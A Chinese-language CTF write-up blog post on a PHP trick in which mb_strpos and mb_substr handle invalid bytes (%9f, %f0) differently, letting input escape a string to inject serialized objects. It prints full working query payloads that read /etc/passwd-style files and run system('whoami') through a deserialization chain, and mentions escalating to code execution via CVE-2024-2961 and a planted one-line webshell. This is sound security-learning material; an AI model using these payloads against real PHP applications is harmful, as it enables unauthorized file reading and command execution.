PHP由mb_strpos与mb_substr执行差异导致的小trick

前言

这个其实不算啥大洞,主要是我遇到两次了,第一次是在黄河流域做那个题的时候,还有一次是ctfshow西瓜杯的题,做到了gxngxngxn师傅出的套皮。

就以这道ezphp入手吧。

分析&EXP

一看传参传个gxngxngxn就能读/etc/passwd,事实也的确如此。

但是我们显然是要做到打这个反序列化做到任意文件读取,也没给你套链子,就直接传参就行,可以看到它下面还套了一个substrstr()。

这里mb_strpos与mb_substr就值得说道说道了。

我们自己搭一个php看看,借用黄河流域那道php的源码:

这里就不卖关子了,%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉三位:

由此我们可以用这两个玩意进行任意字符串构造:

%9f:只需要%9f数量等于要构造的字符串长度:

%f0:使用随便三个长度字符紧跟%f0之后,同时结合%9f的后移,达到字符串逃逸:

回到题目,这里由于忽略了[],所以在逃逸的时候需要添加一个%9f以此来抵消 [ 的影响

同时我们逃逸出的字符不能大于原来的字符数量,所以我们可以传参start来增加原字符的数量,以此逃逸出足够的字符。

所以可以构造出

start=aaaaaaaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}

实现任意文件读取,这里的%9f数量即为后面字符串的长度+1。

那么接下来就是LFI to RCE了,自然而然想到我前面研究的那个CVE-2024-2961,改一下发包逻辑和回显检测逻辑就OK:

这里试过反弹shell,但是很鸡肋,反弹成功了用不了命令。所以直接写一句话木马:

这里不RCE是不能读到flag的:

参考:

黄河流域挑战赛WEB部分-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities | Sonar (sonarsource.com)

XGCTF(西瓜杯官方wp) (qq.com)

------------------------------------------

发现basectf也有个这个,怎么都开始玩这个了?

官方wp解释的也可以,看看吧:

这里可以参考 CTFSHOW-西瓜杯Ezzz_php
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
在本地测试一下,计算我们需要截掉几个字节
题目正常序列化 serialize($ctf),得到
O:6:"Hacker":3:{s:5:"start";s:218:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
显然,前面的 O:6:"Hacker":3:{s:5:"start";s:218:"{{{ 这部分并不是我们需要的,必须截掉,因此传入
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab
把前面没用的38个字符截掉
最终传入
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
成功执行 whoami命令。

后言

最后提一嘴,估计这是我在博客园最后的blog了,博客园都要似了,害怕我写了那么多东西都死在服务器里,也很感谢博客园里大家的陪伴,博客迁移搞好了会贴出来的。同时博客园这个平台也很干净很纯粹,很喜欢,所以作为我第一次写blog的地方。

接下来呢,就还是将一些后续想做想学习的东西和一些有价值的搬到新blog里。

然后过两天就是国赛Final了,祝我成功吧,江湖再会!

posted @ 2024-07-18 22:34  Eddie_Murphy  阅读(230)  评论(0编辑  收藏  举报